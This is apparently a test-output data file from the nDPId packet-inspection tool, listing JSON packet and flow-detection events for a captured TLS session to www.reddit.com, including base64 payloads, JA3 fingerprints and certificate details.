+01145{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":552325,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7CxV06NLngBgB+0E5AAABAQgKqXTgHMLXMooWAwECAAEAAfwDAw2h35lTVBAJkyl1sZ6N6s5zh+HfO9Ai8hcQ4PFn0odDIC9Ixzbj0OvUbX513zU9YxMQBwvxWo3A0lte+Tbf\/2RZACDKyhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMKCgAAAAAAEwARAAAOd3d3LnJlZGRpdC5jb20AFwAA\/wEAAQAACgAKAAiKigAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKYqKAAEAAB0AIGqjGCo4hhSEqfk8mIsYygfLmwI2pMth38dwgmqFwWMRAC0AAgEBACsACwqamgMEAwMDAgMBABsAAwIAAqqqAAEAABUAzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00823{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"reddit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1605291684481,"flow_last_seen":1605291684552,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56560,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00538{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":560628,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgecvlpM2EgBgB9UkkAAABAQgK1N1gdMLXMpAUAwMAAQEXAwMANcqXWVSmzEyECPE8WpHXySUT8FrR0ganY2UOLc0YplHZnp5O+ckAO073diJltWHpbAIjMJ0I"} +00539{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":562938,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gDERGAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka24uCVCM2gBgB9cE1AAABAQgK1N1gdsLXMqkUAwMAAQEXAwMANf\/NSaUukGHnTscXkQgZCZuAMgmA1XRF5gtJMX2dCABEH+DW4SffxztoT8vHs4Yz6EIwoYiC"} +00580{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":565144,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMDv7y+SugBgB9TMxAAABAQgKqXTgKcLXMqgWAwMAJRAAACEgb44jejT1SBb\/bvRTAPQylKfYT1DbYwYMDvmmfnJPbAUUAwMAAQEWAwMAKAAAAAAAAAAAL7fQQfxjOogXK9MM2ISbQ5Kw2RaljMRvG38yXhUWUus="} +00452{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":565433,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka28uCVCM2gBEB9Vx5AAABAQgK1N1gecLXMqk="} +00583{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":565603,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgegvlpM2EgBgB9YyOAAABAQgK1N1gecLXMpAXAwMAVzM3BREzuuCAKO\/DzI7SDpnFJNGDllSoOywgOaHEmdtDtVTC9z08j2RIqDEJO\/C\/PWbEpz6ZeM0RXx7eo08wkjLvyJnEue8OdvoPD4Y33jWj3jEp6evn\/w=="} +00590{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":565856,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMJj7y+SugBgB9SvNAAABAQgKqXTgKcLXMqgXAwMAXgAAAAAAAAABuLyVXtc7Den4BNy9hXTB79r9hslNhamiYbFRZL\/oA4QLXT\/0uRT0RJvuihB57ZtApvVZgbZJL1ET7hEkFq8jATpbeW0qU+JSm3DJX\/n6QCjC8L2+pdo="} +01572{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":566185,"pkt_caplen":910,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":910,"pkt_l4_len":856,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZA1gGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgemflpM2EgBgB9XgOAAABAQgK1N1gesLXMpAXAwMDM\/buJKFtWYz4XXxoY8AEgViEgKfk5DKuEXQJAatLr+eHDoutO0yyHSZaSthYucoF9DjpZqEHuipx2f67nfGAlj7KMWY4XAM0L1JvgFSQKkcjeIxQ8CPkCzx7p0sjuYNRG6WwkOrZUEVI0KyHMvW9JbbmKu82npApqfJ0yyf7Wcu3NZvAooV3tHYBXis2gL8QnAP19QJXLN2QYx88d5zh0VgMkfSp0jMYyRC+u5EHzzO7JDoxo4jKruhSbksMgagibwlkeH+w34zzD6xUo9WDcleHY+EEPJbTwxNReTV9ys\/CsQZlUcj+rbZoPbCswQS4NSTTigJahOQdaBD6k4vtPaTi9z\/uDr7pO+qp\/QKDmePKsf9DLpO7OsLFlVwOrHVemEOlwGE\/kmdK+uv9aSJq3faoRT\/gmpbgyV8fbf7DmczC+27hljUwYybYkIH9C0FtGvuusG9ER2NMsnnR5Hj3BVi9bU61036Eq\/cRfnDIpqeMcB45XmitEJzjfFYfy91K81VHKM9dewhMGW8et\/71Tj8lPXqvEnoZdVXx5BXkKKL1OpC0xgYIp7C9PMJhj9tv1Z0Jq3oqAW9qzVKyJ\/UIhQpVhaUtE8JINRrx0HZVVPbgULMd7jQWXBXlN2UppnTtNJITHjHaq\/\/PwiaFYPY+bh0+u7PdfIUFnEGnZ62yPFjGAZNOOv6c6FAKR\/iVOekrkvziKwNWTYFZWiN0ZFknUXlFyPzlBaRCJx2SLwTLis6ge9IwC5bihNKESEVhzEBvBZ6BSa6BsPk3MqM8s4hYT7Mc42pZ2utfrYo\/BySShcOIGaJX3cJy2JA1LJvPtN2nW3E5LX0SJiDdHKJJtuqJkSCbTkqnPob0UIMP8C6Ncxm8ggdngv\/GnOY249FEKTz7XEk4U7FZl4M1PVwwGI7uQXV5hUUbnm2yy70JQ1rXHW92weC\/tcgWb3I+PmXpuPuyJvkuGhJtVzE\/m4QshUeDbSDgMs3cXtdzeGl6bx7VwnAuCdLurXxn5kBziWWRWT9EIAZdwdzbNcckkyCsTFZ\/jesWio1FAubHJ1cWjCKSpd6LMnYCyI6v9GHypF28ziwA1aab2g=="} +01319{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":566926,"pkt_caplen":724,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":724,"pkt_l4_len":670,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZAp4GQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgfZ\/lpM2EgBgB9YYkAAABAQgK1N1gesLXMpAXAwMCed3xYr6W3PwNHFgN5K8ENvFfRHDNFjQtaGhYj\/JV74\/rKEgmlvrS403jxVae3R1yhXWncfF9rLnlsZL4Vzq23SInK18y6pqMc2Q5jRFau+OFMX\/jb5RjwookIyL+0uqmfAXHLkTUpfGoBIUHH+HB\/vHTGsGF6Use0Wj7+cdpl1kpGXMZKPlBM6YELCrndaAWJdcLGj7OULgH4muJIFKA5GxOSusGPVoZp6SEFzS+RqFVOZtFVTFIJ\/GyCfeZ4HnSYtXyC+ifPZaHo7VwqfxdN5fz1gKK5IoPClPDXeEjEn7Hpdcv3hotnVjZPI52qtwj\/mLeT1MrkKi3AZMyeK+6D2yyfkvhwouCpStSm4iID1pDOplCDTXzK27TqrPSGjpbtpJzlAR25RZ+5StxZ5WjflrAC8XjrtAJCirFRF6Zmsy8CLNv\/3xozm9YVIDMDdpOjuEqRgtekWAthFMt2T9IamGSKPUpBZldW07kxMKys0jBo1Pye0RfzQkb4I1+d6R8mcfd6B8HRKblDJBqsd0SIm7tRfWYsLK88mMS8gnchiDcCUej33Esf+JHq6tKJpEV5eDfQcpzIJjhNReNTNlRm7okmTgQSXb7JevAgpdSdwgNhkJxGDc3VWTD2kV1d68bt2cYlfvFHc1HOdCluRrlpBss+U8+EwlPEcn4HUsI2poBb9y\/pvlDBywK\/gUb48ZJlWyKtMAO5ORxzh4P7epouEDeIfv+QTTYsmNXZhZ4YgvsC3ME+SyV\/rM2zP\/KhA1NV+V2qMm6Xtcph1AUBH1lYHyxTtS517xjyYNB1fhadoucIyCkpiwAmOagU5HcMetKbdFsCWctAMNUpA=="} +00453{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":589289,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo0ucRew0agBALMFFEAAABAQgKwtcy3al04Bw="} +00453{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":589657,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUIzbimtvLgBALOFMGAAABAQgKwtcy3dTdYHY="} +00453{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":589658,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUIzbimtvMgBALOFMCAAABAQgKwtcy3dTdYHk="} +01860{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":592780,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo0ucRew0agBgLMJgkAAABAQgKwtcy36l04BwWAwMAUgIAAE4DA53x3nWSjMa1g47mirx7vPuqX52\/rKihQPtzIOJD+aCaAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK0QsACs0ACsoABiwwggYoMIIFEKADAgECAhANHffE8Agd\/Q1A66O6NFNxMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEVMBMGA1UEAwwMKi5yZWRkaXQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+maVKOkGuIpLUWBcrOoi0zOK7ui1z2eaWzzMtForAMdGnBV+IZaQtyQ5++Gfv1TbOrAOKUntMp6luNeClruZSCzltfkOpk9eHJ9XWEUPrpFFCLbBVu91sl0EYvdWsplUlEgilO1zdDXr0UiyU0ptz14arWfA79ESEjl3EMIcCgfAumn5d9uOQEkbOWAogF0Ed53rsoVVQoW+HVFVqdUlQ0boiQBdec9lKKDB8DbAEfdCC45zVjGzA8Hhw4fmx1l4AlDqP2tLE2qNm2GhXjctrmexVjFG2t4nyihXllf92wvsEEGRZ8X9pxVJTd\/tfteIXPbe+u5DIE1ApPYcpfCBwIDAQABo4IC6DCCAuQwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFHHgUNHngFL7IxRlnUOnjTGqVmkmMCMGA1UdEQQcMBqCCnJlZGRpdC5jb22CDCoucmVkZGl0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj"} +00879{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":56,"source":"reddit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1605291684481,"flow_last_seen":1605291684592,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56560,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01871{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":592781,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo1v8Rew0agBgLMIq3AAABAQgKwtcy36l04BxlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSzGvAAAEAwBHMEUCIA4cEDk5PHlewpHzj26HOiQYpOqP2omD5+Ok3XvOGjvLAiEAscSe5jGq7+A1eA9CosURVXiFG10O2uG7a3d0exugn8YAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSzHWAAAEAwBIMEYCIQCxbG96NckU2JDBIgJPBbdq8isaryVs6CFbEIVpmICYFgIhAK4\/cwv3QOvL6\/r1eBSuNjH8ea1wkWPPafYHa\/T2zS4cMA0GCSqGSIb3DQEBCwUAA4IBAQDJdKHctElcuqyCkmp8mpTUGkGnB3LVzx6AlsMpQm1P2E\/FO7nlknf9cCDmw9zsWs4Vwy0WyWm2VITQHFibHvPRL9Dqdq57g8bbFomQLOayWwM4ymsEk1sOwkg9GmGUttJoxtFhWMTaKNgiwa1KzMnOenD0aOCisNjqYwuAwjXNR4prj\/NaGsDOdAIquq\/5ysyZ9ZTflWiVnQbilOt4e\/blGzRhaSd4gTYdYkgV\/84UmKwjSekYiL2ioVV1mVoDRtSfMV9CdwjyekkC849Oi21tKfCnsyl+9Ipp3oESKGdNZ5966KOZhQo0yght\/ROeeRQR8c5vS0fKeKnkHGBz240cAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza\/P96"} +00452{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":592908,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7DRp06Nb\/gBAB9VY9AAABAQgKqXTgRMLXMt8="} +00451{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":592921,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7DRp06NsXgBAB7VItAAABAQgKqXTgRMLXMt8="} +01866{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":593083,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo2xcRew0agBgLMAM9AAABAQgKwtcy36l04Byu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMDgwMjAyNTFaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQDR33xPAIHf0NQOujujRTcYAAGA8yMDIwMTEwODAyMDI1MVqgERgPMjAyMDExMTUwMTE3NTFaMA0GCSqGSIb3DQEBCwUAA4IBAQBY+1SnH0u3ho+Y8niHMzRj8wWXBoT45DsNzWXZsZidgbnEjA4\/L6gnKwvitI4d+SX6Al6xofYE"} +01148{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"reddit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":10,"flow_first_seen":1605291684481,"flow_last_seen":1605291684593,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56560,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","server_names":"reddit.com,*.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.reddit.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"DB:E9:D5:FE:EB:EF:68:34:55:FD:62:BA:C9:BB:04:D4:E3:22:18:81"}} +01153{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":593086,"pkt_caplen":601,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":601,"pkt_l4_len":547,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAiMGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo3y8Rew0agBgLMEp3AAABAQgKwtcy36l04ByMeNOajMtxBxZ+LVRuvUxmRODoEmjzZpUwTQHXVXdAaqEqvizNUSG+LT4vLrN7\/K4TwkEU6rRjdvl7TGJTrtCTMr2vchF3+WWRcRrbCxS19I7FpLOu0+uRp0eAJTMGW1sjp2Tl1N1sPVLUR76tvsG1UZjWq6EozImj5ue5\/NjN5pIuabHxZABwArW3iblcTRJthPe\/eXEt+vWXP7bK6pfiHfdKhr+WbtteQ+gSEhA1KkKMKnmBC2LheG29uhxtvvQ3X+xQV+7F9j4WAwMBLAwAASgDAB0g6VrN\/S322rgYZ5yHqLO3+y7qv6+tbXE1eDijdVsDmi0IBAEAaTTRefij3djMnO7xsayTw9QxDTguuqktQM1w1SQOpPtuuIiGWRGD0TsI8Mah2oqxYld7ORzslPmYlUNsc3vufXw7YBmDG0VIx6qBAcNZNK9WspF+9IsVLonjyjHDbMY4giUHwDanubqtRmAXYbzn4ycsNcxsNMFLXWr8Gjanu81C4Ptt6UU1LBqbaEBkheeQYzM9+zTahkvzmfeApRGkxcs6npQjvKiW\/Kay8+Z2hHmK+aD1NebHozbpudcTtJquatolSbn2PMihTI0n\/XFUK1ZtJOYVcAu9sPh\/Zhfrs3F1d3VSktlEeYsh5mXdA\/4gcFjg9Nhrd